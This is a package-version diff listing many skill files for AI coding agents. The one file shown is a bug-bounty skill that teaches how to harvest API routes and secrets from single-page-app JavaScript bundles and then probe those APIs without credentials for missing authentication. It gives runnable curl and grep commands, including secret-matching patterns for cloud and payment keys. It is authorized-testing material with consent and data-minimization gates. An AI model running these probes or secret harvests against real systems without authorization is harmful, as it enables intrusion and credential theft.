opencode-skills-collection 4.0.67 → 4.0.69
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +281 -1
- package/bundled-skills/access-review/SKILL.md +394 -0
- package/bundled-skills/access-review/references/details.md +121 -0
- package/bundled-skills/agent-evals/SKILL.md +420 -0
- package/bundled-skills/agent-observability/SKILL.md +346 -0
- package/bundled-skills/agent-observability/references/details.md +786 -0
- package/bundled-skills/ai-agent-security/SKILL.md +393 -0
- package/bundled-skills/ai-agent-security/references/details.md +912 -0
- package/bundled-skills/ai-coding-agent-guardrails/SKILL.md +442 -0
- package/bundled-skills/ai-coding-agent-guardrails/references/details.md +753 -0
- package/bundled-skills/ai-inference-service-mesh/SKILL.md +449 -0
- package/bundled-skills/ai-pipeline-orchestration/SKILL.md +287 -0
- package/bundled-skills/ai-red-teaming/SKILL.md +409 -0
- package/bundled-skills/ai-security-hardening/SKILL.md +343 -0
- package/bundled-skills/ai-sre-incident-response/SKILL.md +336 -0
- package/bundled-skills/alerting-oncall/SKILL.md +458 -0
- package/bundled-skills/alerting-oncall/references/details.md +84 -0
- package/bundled-skills/anti-slop-design/SKILL.md +393 -0
- package/bundled-skills/antigravity-maintainer-batch-release/SKILL.md +1 -0
- package/bundled-skills/apk-redteam-pipeline/SKILL.md +446 -0
- package/bundled-skills/argocd-gitops/SKILL.md +469 -0
- package/bundled-skills/arm-templates/SKILL.md +438 -0
- package/bundled-skills/arm-templates/references/details.md +64 -0
- package/bundled-skills/artifact-yylo/SKILL.md +122 -0
- package/bundled-skills/asset-inventory/SKILL.md +412 -0
- package/bundled-skills/asset-inventory/references/details.md +127 -0
- package/bundled-skills/audit-logging/SKILL.md +476 -0
- package/bundled-skills/aws-cloudtrail/SKILL.md +486 -0
- package/bundled-skills/aws-cost-optimization/SKILL.md +331 -0
- package/bundled-skills/aws-ec2/SKILL.md +426 -0
- package/bundled-skills/aws-ecs-fargate/SKILL.md +388 -0
- package/bundled-skills/aws-iam/SKILL.md +463 -0
- package/bundled-skills/aws-lambda/SKILL.md +428 -0
- package/bundled-skills/aws-rds/SKILL.md +380 -0
- package/bundled-skills/aws-s3/SKILL.md +434 -0
- package/bundled-skills/aws-secrets-manager/SKILL.md +486 -0
- package/bundled-skills/aws-vpc/SKILL.md +436 -0
- package/bundled-skills/azure-ai-document-intelligence-ts/SKILL.md +1 -1
- package/bundled-skills/azure-aks/SKILL.md +423 -0
- package/bundled-skills/azure-devops/SKILL.md +457 -0
- package/bundled-skills/azure-functions-devsec/SKILL.md +436 -0
- package/bundled-skills/azure-keyvault/SKILL.md +455 -0
- package/bundled-skills/azure-keyvault/references/details.md +83 -0
- package/bundled-skills/azure-monitor-audit/SKILL.md +379 -0
- package/bundled-skills/azure-networking/SKILL.md +448 -0
- package/bundled-skills/azure-networking/references/details.md +135 -0
- package/bundled-skills/azure-sql/SKILL.md +413 -0
- package/bundled-skills/azure-sql/references/details.md +113 -0
- package/bundled-skills/azure-vms/SKILL.md +402 -0
- package/bundled-skills/azure-vms/references/details.md +134 -0
- package/bundled-skills/backup-recovery/SKILL.md +388 -0
- package/bundled-skills/bb-methodology/SKILL.md +451 -0
- package/bundled-skills/bb-methodology/references/details.md +120 -0
- package/bundled-skills/block-storage/SKILL.md +371 -0
- package/bundled-skills/blue-green-deploy/SKILL.md +453 -0
- package/bundled-skills/blue-green-deploy/references/details.md +90 -0
- package/bundled-skills/bug-bounty/SKILL.md +447 -0
- package/bundled-skills/bug-bounty/references/details.md +1316 -0
- package/bundled-skills/bugcrowd-reporting/SKILL.md +351 -0
- package/bundled-skills/business-continuity/SKILL.md +463 -0
- package/bundled-skills/career-ops/SKILL.md +186 -0
- package/bundled-skills/cdn-setup/SKILL.md +374 -0
- package/bundled-skills/change-management/SKILL.md +438 -0
- package/bundled-skills/change-management/references/details.md +105 -0
- package/bundled-skills/circleci/SKILL.md +475 -0
- package/bundled-skills/cis-benchmarks/SKILL.md +150 -0
- package/bundled-skills/cloudflare-pages/SKILL.md +318 -0
- package/bundled-skills/cloudflare-r2/SKILL.md +353 -0
- package/bundled-skills/cloudflare-workers/SKILL.md +415 -0
- package/bundled-skills/cloudflare-zero-trust/SKILL.md +361 -0
- package/bundled-skills/cloudformation/SKILL.md +461 -0
- package/bundled-skills/constraint-driven-development/SKILL.md +335 -0
- package/bundled-skills/constraint-driven-development/references/floor-guard.md +99 -0
- package/bundled-skills/container-hardening/SKILL.md +126 -0
- package/bundled-skills/container-registries/SKILL.md +435 -0
- package/bundled-skills/container-scanning/SKILL.md +416 -0
- package/bundled-skills/convex-backend/SKILL.md +338 -0
- package/bundled-skills/dast-scanning/SKILL.md +437 -0
- package/bundled-skills/database-backups/SKILL.md +425 -0
- package/bundled-skills/datadog/SKILL.md +487 -0
- package/bundled-skills/dependency-scanning/SKILL.md +457 -0
- package/bundled-skills/devcontainers-nix/SKILL.md +416 -0
- package/bundled-skills/disaster-recovery/SKILL.md +374 -0
- package/bundled-skills/disaster-recovery/references/details.md +219 -0
- package/bundled-skills/dns-management/SKILL.md +375 -0
- package/bundled-skills/docker-compose/SKILL.md +482 -0
- package/bundled-skills/docker-management/SKILL.md +426 -0
- package/bundled-skills/ebpf-observability/SKILL.md +436 -0
- package/bundled-skills/ebpf-observability/references/details.md +542 -0
- package/bundled-skills/elk-stack/SKILL.md +487 -0
- package/bundled-skills/enterprise-vpn-attack/SKILL.md +395 -0
- package/bundled-skills/evidence-hygiene/SKILL.md +404 -0
- package/bundled-skills/feature-flags/SKILL.md +426 -0
- package/bundled-skills/feature-flags/references/details.md +86 -0
- package/bundled-skills/fedramp-compliance/SKILL.md +453 -0
- package/bundled-skills/firebase-app-platform/SKILL.md +381 -0
- package/bundled-skills/firewall-config/SKILL.md +479 -0
- package/bundled-skills/gcp-audit-logs/SKILL.md +452 -0
- package/bundled-skills/gcp-audit-logs/references/details.md +56 -0
- package/bundled-skills/gcp-cloud-functions/SKILL.md +284 -0
- package/bundled-skills/gcp-cloud-sql/SKILL.md +277 -0
- package/bundled-skills/gcp-compute/SKILL.md +319 -0
- package/bundled-skills/gcp-gke/SKILL.md +307 -0
- package/bundled-skills/gcp-networking/SKILL.md +293 -0
- package/bundled-skills/gcp-secret-manager/SKILL.md +421 -0
- package/bundled-skills/gcp-secret-manager/references/details.md +131 -0
- package/bundled-skills/gdpr-compliance/SKILL.md +451 -0
- package/bundled-skills/gdpr-compliance/references/details.md +145 -0
- package/bundled-skills/geo-audit/SKILL.md +368 -0
- package/bundled-skills/geo-brand-mentions/SKILL.md +68 -0
- package/bundled-skills/geo-brand-mentions/references/details.md +471 -0
- package/bundled-skills/geo-citability/SKILL.md +350 -0
- package/bundled-skills/geo-compare/SKILL.md +340 -0
- package/bundled-skills/geo-content/SKILL.md +383 -0
- package/bundled-skills/geo-crawlers/SKILL.md +408 -0
- package/bundled-skills/geo-llmstxt/SKILL.md +464 -0
- package/bundled-skills/geo-platform-optimizer/SKILL.md +314 -0
- package/bundled-skills/geo-proposal/SKILL.md +378 -0
- package/bundled-skills/geo-prospect/SKILL.md +225 -0
- package/bundled-skills/geo-report/SKILL.md +436 -0
- package/bundled-skills/geo-report-pdf/SKILL.md +157 -0
- package/bundled-skills/geo-schema/SKILL.md +408 -0
- package/bundled-skills/geo-technical/SKILL.md +78 -0
- package/bundled-skills/geo-technical/references/details.md +543 -0
- package/bundled-skills/git-workflow/SKILL.md +460 -0
- package/bundled-skills/github-actions/SKILL.md +368 -0
- package/bundled-skills/gitlab-ci/SKILL.md +340 -0
- package/bundled-skills/google-no-code/SKILL.md +136 -0
- package/bundled-skills/gpu-kubernetes-operations/SKILL.md +468 -0
- package/bundled-skills/gpu-server-management/SKILL.md +236 -0
- package/bundled-skills/hashicorp-vault/SKILL.md +408 -0
- package/bundled-skills/helm-charts/SKILL.md +469 -0
- package/bundled-skills/hipaa-compliance/SKILL.md +451 -0
- package/bundled-skills/hunt-aspnet/SKILL.md +321 -0
- package/bundled-skills/hunt-ato/SKILL.md +184 -0
- package/bundled-skills/hunt-auth-bypass/SKILL.md +426 -0
- package/bundled-skills/hunt-auth-bypass/references/details.md +80 -0
- package/bundled-skills/hunt-brute-force/SKILL.md +341 -0
- package/bundled-skills/hunt-business-logic/SKILL.md +281 -0
- package/bundled-skills/hunt-cache-poison/SKILL.md +382 -0
- package/bundled-skills/hunt-captcha-bypass/SKILL.md +136 -0
- package/bundled-skills/hunt-cicd/SKILL.md +311 -0
- package/bundled-skills/hunt-clickjacking/SKILL.md +110 -0
- package/bundled-skills/hunt-cors/SKILL.md +335 -0
- package/bundled-skills/hunt-dom/SKILL.md +323 -0
- package/bundled-skills/hunt-exceptional-conditions/SKILL.md +111 -0
- package/bundled-skills/hunt-file-upload/SKILL.md +202 -0
- package/bundled-skills/hunt-fintech-graphql/SKILL.md +289 -0
- package/bundled-skills/hunt-forgot-password/SKILL.md +114 -0
- package/bundled-skills/hunt-grpc/SKILL.md +317 -0
- package/bundled-skills/hunt-host-header/SKILL.md +309 -0
- package/bundled-skills/hunt-html-injection/SKILL.md +106 -0
- package/bundled-skills/hunt-http-smuggling/SKILL.md +129 -0
- package/bundled-skills/hunt-http-smuggling/references/phase2h-smuggling-cachepoison.md +177 -0
- package/bundled-skills/hunt-idor/SKILL.md +434 -0
- package/bundled-skills/hunt-jwt-crypto/SKILL.md +221 -0
- package/bundled-skills/hunt-k8s/SKILL.md +337 -0
- package/bundled-skills/hunt-laravel/SKILL.md +255 -0
- package/bundled-skills/hunt-ldap/SKILL.md +351 -0
- package/bundled-skills/hunt-lfi/SKILL.md +311 -0
- package/bundled-skills/hunt-llm-ai/SKILL.md +289 -0
- package/bundled-skills/hunt-mfa-bypass/SKILL.md +177 -0
- package/bundled-skills/hunt-misc/SKILL.md +378 -0
- package/bundled-skills/hunt-nextjs/SKILL.md +299 -0
- package/bundled-skills/hunt-nodejs/SKILL.md +263 -0
- package/bundled-skills/hunt-nosqli/SKILL.md +210 -0
- package/bundled-skills/hunt-ntlm-info/SKILL.md +314 -0
- package/bundled-skills/hunt-oauth/SKILL.md +459 -0
- package/bundled-skills/hunt-open-redirect/SKILL.md +223 -0
- package/bundled-skills/hunt-race-condition/SKILL.md +381 -0
- package/bundled-skills/hunt-race-condition/references/details.md +159 -0
- package/bundled-skills/hunt-rag-vector/SKILL.md +212 -0
- package/bundled-skills/hunt-rce/SKILL.md +444 -0
- package/bundled-skills/hunt-rce/references/details.md +110 -0
- package/bundled-skills/hunt-saml/SKILL.md +156 -0
- package/bundled-skills/hunt-session/SKILL.md +342 -0
- package/bundled-skills/hunt-shadow-api/SKILL.md +198 -0
- package/bundled-skills/hunt-source-leak/SKILL.md +345 -0
- package/bundled-skills/hunt-spa-api/SKILL.md +163 -0
- package/bundled-skills/hunt-springboot/SKILL.md +285 -0
- package/bundled-skills/hunt-sqli/SKILL.md +466 -0
- package/bundled-skills/hunt-ssrf/SKILL.md +396 -0
- package/bundled-skills/hunt-ssrf/references/details.md +179 -0
- package/bundled-skills/hunt-ssti/SKILL.md +163 -0
- package/bundled-skills/hunt-subdomain/SKILL.md +379 -0
- package/bundled-skills/hunt-tls-network/SKILL.md +399 -0
- package/bundled-skills/hunt-xxe/SKILL.md +466 -0
- package/bundled-skills/i-have-adhd/SKILL.md +170 -0
- package/bundled-skills/idea-evaluator/SKILL.md +75 -0
- package/bundled-skills/idea-evaluator/idea-evaluator-con/SKILL.md +64 -0
- package/bundled-skills/idea-evaluator/idea-evaluator-pro/SKILL.md +64 -0
- package/bundled-skills/identity-access-management/SKILL.md +382 -0
- package/bundled-skills/identity-access-management/references/details.md +524 -0
- package/bundled-skills/incident-management/SKILL.md +484 -0
- package/bundled-skills/incident-response/SKILL.md +448 -0
- package/bundled-skills/incident-response/references/details.md +113 -0
- package/bundled-skills/interview-me/SKILL.md +248 -0
- package/bundled-skills/iso27001-compliance/SKILL.md +460 -0
- package/bundled-skills/jenkins/SKILL.md +462 -0
- package/bundled-skills/jev-use/SKILL.md +158 -0
- package/bundled-skills/kubernetes-hardening/SKILL.md +154 -0
- package/bundled-skills/kubernetes-ops/SKILL.md +449 -0
- package/bundled-skills/kubernetes-ops/references/details.md +108 -0
- package/bundled-skills/kustomize/SKILL.md +478 -0
- package/bundled-skills/ledger-tasks-yylo/SKILL.md +219 -0
- package/bundled-skills/linux-administration/SKILL.md +367 -0
- package/bundled-skills/linux-hardening/SKILL.md +154 -0
- package/bundled-skills/llm-app-security/SKILL.md +389 -0
- package/bundled-skills/llm-app-security/references/details.md +674 -0
- package/bundled-skills/llm-caching/SKILL.md +334 -0
- package/bundled-skills/llm-cost-optimization/SKILL.md +311 -0
- package/bundled-skills/llm-fine-tuning/SKILL.md +329 -0
- package/bundled-skills/llm-gateway/SKILL.md +282 -0
- package/bundled-skills/llm-inference-scaling/SKILL.md +286 -0
- package/bundled-skills/llmops-platform-engineering/SKILL.md +472 -0
- package/bundled-skills/load-balancing/SKILL.md +403 -0
- package/bundled-skills/loki-logging/SKILL.md +479 -0
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
- package/bundled-skills/m365-entra-attack/SKILL.md +423 -0
- package/bundled-skills/mac-mini-llm-lab/SKILL.md +350 -0
- package/bundled-skills/mcp-server-security/SKILL.md +356 -0
- package/bundled-skills/mcp-server-security/references/details.md +745 -0
- package/bundled-skills/mdm-device-management/SKILL.md +404 -0
- package/bundled-skills/mdm-device-management/references/details.md +410 -0
- package/bundled-skills/meme-coin-audit/SKILL.md +402 -0
- package/bundled-skills/mid-engagement-ir-detection/SKILL.md +377 -0
- package/bundled-skills/model-registry-governance/SKILL.md +452 -0
- package/bundled-skills/model-serving-kubernetes/SKILL.md +339 -0
- package/bundled-skills/model-supply-chain-security/SKILL.md +427 -0
- package/bundled-skills/mongodb/SKILL.md +436 -0
- package/bundled-skills/multi-tenant-llm-hosting/SKILL.md +435 -0
- package/bundled-skills/multi-tenant-llm-hosting/references/details.md +211 -0
- package/bundled-skills/mysql/SKILL.md +390 -0
- package/bundled-skills/new-relic/SKILL.md +472 -0
- package/bundled-skills/nfs-storage/SKILL.md +356 -0
- package/bundled-skills/object-storage/SKILL.md +378 -0
- package/bundled-skills/offensive-osint/SKILL.md +443 -0
- package/bundled-skills/okta-attack/SKILL.md +436 -0
- package/bundled-skills/ollama-stack/SKILL.md +379 -0
- package/bundled-skills/openclaw-deployment-hardening/SKILL.md +135 -0
- package/bundled-skills/openclaw-local-mac-mini/SKILL.md +426 -0
- package/bundled-skills/openclaw-local-mac-mini/references/details.md +221 -0
- package/bundled-skills/openclaw-security-hardening/SKILL.md +135 -0
- package/bundled-skills/openshift/SKILL.md +485 -0
- package/bundled-skills/opentelemetry/SKILL.md +438 -0
- package/bundled-skills/opentelemetry/references/details.md +78 -0
- package/bundled-skills/opentofu-migration/SKILL.md +349 -0
- package/bundled-skills/osint-methodology/SKILL.md +460 -0
- package/bundled-skills/osint-methodology/references/details.md +1350 -0
- package/bundled-skills/pci-dss-compliance/SKILL.md +446 -0
- package/bundled-skills/penetration-testing/SKILL.md +152 -0
- package/bundled-skills/performance-tuning/SKILL.md +381 -0
- package/bundled-skills/plan-ledger-tasks-yylo/SKILL.md +52 -0
- package/bundled-skills/planetscale/SKILL.md +297 -0
- package/bundled-skills/platform-engineering/SKILL.md +348 -0
- package/bundled-skills/platform-engineering/references/details.md +944 -0
- package/bundled-skills/podman/SKILL.md +405 -0
- package/bundled-skills/policy-as-code/SKILL.md +434 -0
- package/bundled-skills/policy-as-code/references/details.md +204 -0
- package/bundled-skills/postgresql-devsec/SKILL.md +378 -0
- package/bundled-skills/prometheus-grafana/SKILL.md +469 -0
- package/bundled-skills/prompt-injection-defense/SKILL.md +483 -0
- package/bundled-skills/rag-infrastructure/SKILL.md +269 -0
- package/bundled-skills/rag-observability-evals/SKILL.md +444 -0
- package/bundled-skills/rag-observability-evals/references/details.md +92 -0
- package/bundled-skills/ralph-loop-yylo/SKILL.md +55 -0
- package/bundled-skills/ralph-loop-yylo/references/first_check.md +18 -0
- package/bundled-skills/ralph-loop-yylo/references/implement.md +60 -0
- package/bundled-skills/recon-scope-triage/SKILL.md +128 -0
- package/bundled-skills/redis/SKILL.md +421 -0
- package/bundled-skills/redteam-report-template/SKILL.md +370 -0
- package/bundled-skills/report-writing/SKILL.md +426 -0
- package/bundled-skills/report-writing/references/details.md +187 -0
- package/bundled-skills/resumable-implementation-contracts/SKILL.md +254 -0
- package/bundled-skills/reverse-proxy/SKILL.md +420 -0
- package/bundled-skills/runbook-creation/SKILL.md +438 -0
- package/bundled-skills/runbook-creation/references/details.md +71 -0
- package/bundled-skills/saas-security-posture/SKILL.md +415 -0
- package/bundled-skills/sast-scanning/SKILL.md +444 -0
- package/bundled-skills/sbom-supply-chain/SKILL.md +433 -0
- package/bundled-skills/security-arsenal/SKILL.md +446 -0
- package/bundled-skills/security-arsenal/references/details.md +540 -0
- package/bundled-skills/security-automation/SKILL.md +146 -0
- package/bundled-skills/semantic-versioning/SKILL.md +434 -0
- package/bundled-skills/semantic-versioning/references/details.md +83 -0
- package/bundled-skills/service-mesh/SKILL.md +422 -0
- package/bundled-skills/soc2-compliance/SKILL.md +409 -0
- package/bundled-skills/sops-encryption/SKILL.md +124 -0
- package/bundled-skills/sre-dashboards/SKILL.md +143 -0
- package/bundled-skills/ssh-configuration/SKILL.md +324 -0
- package/bundled-skills/ssl-tls-management/SKILL.md +428 -0
- package/bundled-skills/ssl-tls-management/references/details.md +99 -0
- package/bundled-skills/startup-it-troubleshooting/SKILL.md +415 -0
- package/bundled-skills/supply-chain-attack-recon/SKILL.md +453 -0
- package/bundled-skills/supply-chain-attack-recon/references/details.md +258 -0
- package/bundled-skills/systemd-services/SKILL.md +379 -0
- package/bundled-skills/terraform-aws/SKILL.md +125 -0
- package/bundled-skills/terraform-azure/SKILL.md +415 -0
- package/bundled-skills/terraform-azure/references/details.md +231 -0
- package/bundled-skills/terraform-gcp/SKILL.md +369 -0
- package/bundled-skills/threat-modeling/SKILL.md +487 -0
- package/bundled-skills/understand-project-yylo/SKILL.md +62 -0
- package/bundled-skills/user-management/SKILL.md +383 -0
- package/bundled-skills/using-agent-skills/SKILL.md +220 -0
- package/bundled-skills/vector-database-ops/SKILL.md +300 -0
- package/bundled-skills/vendor-management/SKILL.md +439 -0
- package/bundled-skills/vendor-management/references/details.md +109 -0
- package/bundled-skills/vercel-deployments/SKILL.md +296 -0
- package/bundled-skills/vllm-server/SKILL.md +236 -0
- package/bundled-skills/vmware-vcenter-attack/SKILL.md +412 -0
- package/bundled-skills/vpn-setup/SKILL.md +452 -0
- package/bundled-skills/vulnerability-scanning/SKILL.md +448 -0
- package/bundled-skills/waf-setup/SKILL.md +354 -0
- package/bundled-skills/waf-setup/references/details.md +211 -0
- package/bundled-skills/weather-model-data-fetching/SKILL.md +277 -0
- package/bundled-skills/weather-observation-fetching/SKILL.md +246 -0
- package/bundled-skills/web2-recon/SKILL.md +440 -0
- package/bundled-skills/web2-recon/references/details.md +319 -0
- package/bundled-skills/web3-audit/SKILL.md +445 -0
- package/bundled-skills/web3-audit/references/details.md +224 -0
- package/bundled-skills/wiki-yylo/SKILL.md +114 -0
- package/bundled-skills/windows-hardening/SKILL.md +454 -0
- package/bundled-skills/windows-hardening/references/details.md +204 -0
- package/bundled-skills/windows-server/SKILL.md +318 -0
- package/bundled-skills/workflow-yylo/SKILL.md +107 -0
- package/bundled-skills/zero-trust/SKILL.md +461 -0
- package/package.json +1 -1
- package/skills_index.json +6924 -0
|
@@ -0,0 +1,163 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: hunt-spa-api
|
|
3
|
+
description: Discover a single-page-app's hidden backend API from its public JS bundle,
|
|
4
|
+
then test that API for broken access control / missing authentication.
|
|
5
|
+
category: security
|
|
6
|
+
risk: offensive
|
|
7
|
+
source: https://github.com/elementalsouls/Claude-BugHunter
|
|
8
|
+
source_repo: elementalsouls/Claude-BugHunter
|
|
9
|
+
source_type: community
|
|
10
|
+
date_added: '2026-09-20'
|
|
11
|
+
license: MIT
|
|
12
|
+
license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
|
|
13
|
+
compatibility: Requires explicit written authorization for a target scope plus the
|
|
14
|
+
relevant testing tools for this technique. Docs-only; helper scripts and commands
|
|
15
|
+
not bundled.
|
|
16
|
+
sources: authorized-engagement
|
|
17
|
+
report_count: 1
|
|
18
|
+
---
|
|
19
|
+
> **⚠️ AUTHORIZED USE ONLY**
|
|
20
|
+
> This skill is for educational purposes or authorized security assessments only.
|
|
21
|
+
> You must have explicit, written permission from the system owner before using this tool.
|
|
22
|
+
> Misuse of this tool is illegal and strictly prohibited.
|
|
23
|
+
|
|
24
|
+
> **Mandatory confirmation gate**
|
|
25
|
+
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
|
|
26
|
+
> 1. Ask the user to state the exact target URL, IP, account, or resource.
|
|
27
|
+
> 2. Ask the user to confirm written authorization and the permitted scope.
|
|
28
|
+
> 3. Show the exact command(s) and explain their expected effect.
|
|
29
|
+
> 4. Wait for explicit confirmation in the current conversation.
|
|
30
|
+
>
|
|
31
|
+
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
|
|
32
|
+
|
|
33
|
+
## When to use this skill
|
|
34
|
+
|
|
35
|
+
Trigger when:
|
|
36
|
+
- A target host returns a tiny HTML shell + big `/static/js/*.js` or `/_next/static/*` bundles (React/Vue/Angular/Next/Svelte SPA)
|
|
37
|
+
- You see a subdomain named `console`, `app`, `dashboard`, `portal`, `admin`, `panel`, `manage`, `internal`
|
|
38
|
+
- Recon surfaces any `*api*`, `*-api*`, `api.*` host
|
|
39
|
+
- A login page is OAuth/SSO-gated (the *frontend* auth tells you nothing about whether the *API* enforces auth)
|
|
40
|
+
|
|
41
|
+
The core insight: **a SPA is a client to a backend API, and it ships the full map of that API — hosts, routes, sometimes keys — to anyone who views source.** The login page being protected says nothing about whether the API behind it checks tokens. Auth is frequently enforced on the *gateway/login* and missing on a *route group* of the API.
|
|
42
|
+
|
|
43
|
+
DO NOT skip this because "the app needs login" — that's exactly when this pays off.
|
|
44
|
+
|
|
45
|
+
---
|
|
46
|
+
|
|
47
|
+
## The play (5 steps)
|
|
48
|
+
|
|
49
|
+
### 1. Pull the shell + enumerate the bundles
|
|
50
|
+
```bash
|
|
51
|
+
curl -s https://console.target.com/ -o index.html
|
|
52
|
+
# React/CRA:
|
|
53
|
+
grep -oE '/static/js/[^"]+\.js' index.html
|
|
54
|
+
# Next.js:
|
|
55
|
+
grep -oE '/_next/static/[^"]+\.js' index.html
|
|
56
|
+
# generic:
|
|
57
|
+
grep -oiE 'src="[^"]+\.js[^"]*"' index.html
|
|
58
|
+
```
|
|
59
|
+
Download every bundle (they can be multi-MB — that's fine, it's all route data):
|
|
60
|
+
```bash
|
|
61
|
+
mkdir bundles
|
|
62
|
+
for j in $(grep -oE '/static/js/[^"]+\.js' index.html | sort -u); do
|
|
63
|
+
curl -s "https://console.target.com$j" -o "bundles/$(echo "$j"|tr '/' '_')"
|
|
64
|
+
done
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
### 2. Harvest API hosts, routes, and secrets from the bundles
|
|
68
|
+
```bash
|
|
69
|
+
B=bundles/*.js
|
|
70
|
+
# Backend API hosts (incl. dev/beta/staging variants — often weaker auth)
|
|
71
|
+
grep -ohiE 'https://[a-z0-9.-]*(api|console|backend|service)[a-z0-9.-]*\.target\.com[a-z0-9/_-]*' $B | sort -u
|
|
72
|
+
# Versioned API base paths
|
|
73
|
+
grep -ohiE '/api/v[0-9]+/?' $B | sort -u
|
|
74
|
+
# Route literals — minified bundles store routes as STRING segments, not full URLs.
|
|
75
|
+
# Grep for quoted "resource/action" strings:
|
|
76
|
+
grep -ohiE '"[a-z0-9_-]+/[a-z0-9_/-]+"' $B | tr -d '"' \
|
|
77
|
+
| grep -iE '(login|user|account|order|billing|invoice|payment|deal|report|token|otp|password|reset|admin|profile|auth|upload|export|role|permission|dashboard|wallet|finance|sales)' | sort -u
|
|
78
|
+
# Secrets (validate before trusting — most AIza keys are Maps/analytics, not Auth)
|
|
79
|
+
grep -ohiE '(AIza[0-9A-Za-z_-]{35}|AKIA[0-9A-Z]{16}|sk_live_[0-9A-Za-z]+|eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}|apiKey["'"'"']?\s*[:=]\s*["'"'"'][^"'"'"']+)' $B | sort -u
|
|
80
|
+
```
|
|
81
|
+
**Note:** minifiers store routes as concatenated string segments (e.g. `"account/payment/list"`), NOT full `/api/v2/...` URLs — so a naive `/api/v*` grep returns nothing. Grep for the **resource-word route strings** and prepend the base yourself.
|
|
82
|
+
|
|
83
|
+
**Lazy-loaded (async) chunks — don't stop at HTML-referenced bundles.** CRA/webpack SPAs reference only runtime+main+vendor in index.html; numbered async route chunks are named inside main.js's chunk map and loaded at runtime, so grepping only `/static/js/*.js` from the shell truncates route coverage to eager chunks.
|
|
84
|
+
```bash
|
|
85
|
+
grep -oE '[0-9]+:"[a-f0-9]+"' bundles/*main*.js # {chunkId:"hash"} pairs
|
|
86
|
+
# reconstruct /static/js/<id>.<hash>.chunk.js, download each, re-run route/host/secret harvest
|
|
87
|
+
# asset-manifest.json (if present) lists them all -> hunt-source-leak
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
### 3. Establish a CONTROL — find an endpoint that IS gated
|
|
91
|
+
Before declaring anything vulnerable, send an unauthenticated request to an endpoint you expect to be protected, and capture what *correct* rejection looks like:
|
|
92
|
+
```bash
|
|
93
|
+
curl -s -X POST https://api.target.com/api/users -H 'Content-Type: application/json' -d '{}'
|
|
94
|
+
# secure → {"error":"Missing or invalid authorization header"} or HTTP 401
|
|
95
|
+
```
|
|
96
|
+
This is your differential. A sibling API (e.g. a second API host, or a different route group on the same host) is the ideal control — same stack, so a different response = real authz gap, not a quirk.
|
|
97
|
+
|
|
98
|
+
### 4. Test each route family UNAUTHENTICATED, both methods
|
|
99
|
+
For every discovered route, send it with **no `Authorization` header** and compare to the control:
|
|
100
|
+
```bash
|
|
101
|
+
for r in <routes>; do
|
|
102
|
+
curl -s -o /tmp/r -w "[%{http_code}] $r\n" -X POST -H 'Content-Type: application/json' -d '{}' "https://api.target.com/api/v2/$r"
|
|
103
|
+
done
|
|
104
|
+
```
|
|
105
|
+
Interpret:
|
|
106
|
+
- **`401`/`"Missing authorization"`** → gated (correct). Move on.
|
|
107
|
+
- **`200` with data** → unauthenticated data exposure. **Finding.**
|
|
108
|
+
- **`400 "field X is mandatory"`** → the route processed your request and reached *business-logic validation* without an auth check → **auth bypass; supply the field minimally to confirm.**
|
|
109
|
+
- **`200` + verbose DB/stack error** (e.g. `PROCEDURE db_x.sp_y does not exist`) → reached the data layer unauthenticated; also a SQLi-surface signal.
|
|
110
|
+
- **Mandatory fields named like `is_admin` / `is_internal` / `requested_by` / `role_id` / `account_type`** → **authorization derived from client-supplied parameters** — set the privilege flag and you self-elevate. Critical-class.
|
|
111
|
+
|
|
112
|
+
### 5. Pivot & prove (minimally)
|
|
113
|
+
- IDs returned by one endpoint (`account_id`, `order_id`, `deal_id`) are the keys the *other* endpoints consume — they prove the whole router is reachable, not just one route.
|
|
114
|
+
- Test `dev-`/`beta-`/`staging-` API variants — they frequently have weaker/disabled auth.
|
|
115
|
+
- Check the response headers: `Access-Control-Allow-Origin: *` compounds the issue (any web origin reads it from a victim's browser).
|
|
116
|
+
- **STOP at minimum-necessary proof.** A handful of records (or a `totalCount`) confirms the missing check. Do NOT enumerate the table — see `redteam-mindset` data-minimization boundary. The finding is the absent auth, not the data volume.
|
|
117
|
+
|
|
118
|
+
---
|
|
119
|
+
|
|
120
|
+
## What "the API behind the SSO login" really means
|
|
121
|
+
|
|
122
|
+
A common, dangerous architecture:
|
|
123
|
+
- `console.target.com` (the SPA) → login is **Entra/Okta/Google OAuth** (looks airtight).
|
|
124
|
+
- `api.target.com` (the backend) → some route groups enforce the bearer token, **some route groups forgot the middleware.**
|
|
125
|
+
|
|
126
|
+
The frontend login is theatre if the API doesn't independently validate the token on every route. Always test the API directly, bare, regardless of how locked-down the login UI is.
|
|
127
|
+
|
|
128
|
+
---
|
|
129
|
+
|
|
130
|
+
## Anti-patterns
|
|
131
|
+
|
|
132
|
+
- **"The app requires login, so the API must be protected."** No — test the API directly, unauthenticated. The whole point.
|
|
133
|
+
- **"Minified bundle, can't read it."** You don't need to read it — grep it for hosts/routes/secrets. 5 minutes.
|
|
134
|
+
- **"`/api/v1/foo` returned 404, so no API here."** Wrong base or wrong method. Try `/api/`, `/api/v2/`, POST not GET, and the exact route strings from the bundle (Express's 404 echoes the path — use it to calibrate).
|
|
135
|
+
- **"AIza key found → critical secret."** Validate first — most are Maps/analytics keys (`CONFIGURATION_NOT_FOUND` on identitytoolkit = not Auth-enabled). Don't over-claim.
|
|
136
|
+
- **Dumping the whole dataset once you get a 200.** Stop at PoC. (`redteam-mindset`.)
|
|
137
|
+
- **Account-creation / write endpoints as "proof".** Read endpoints prove the auth gap without creating state. Never POST a `create`/`signup`/`upload` to "demonstrate" — that's a destructive write needing explicit per-action authorization.
|
|
138
|
+
|
|
139
|
+
---
|
|
140
|
+
|
|
141
|
+
## Related Skills & Chains
|
|
142
|
+
|
|
143
|
+
- **`hunt-api-misconfig`** — once the API is mapped, run the broader misconfig matrix (method tampering, mass assignment, JWT alg confusion) per route.
|
|
144
|
+
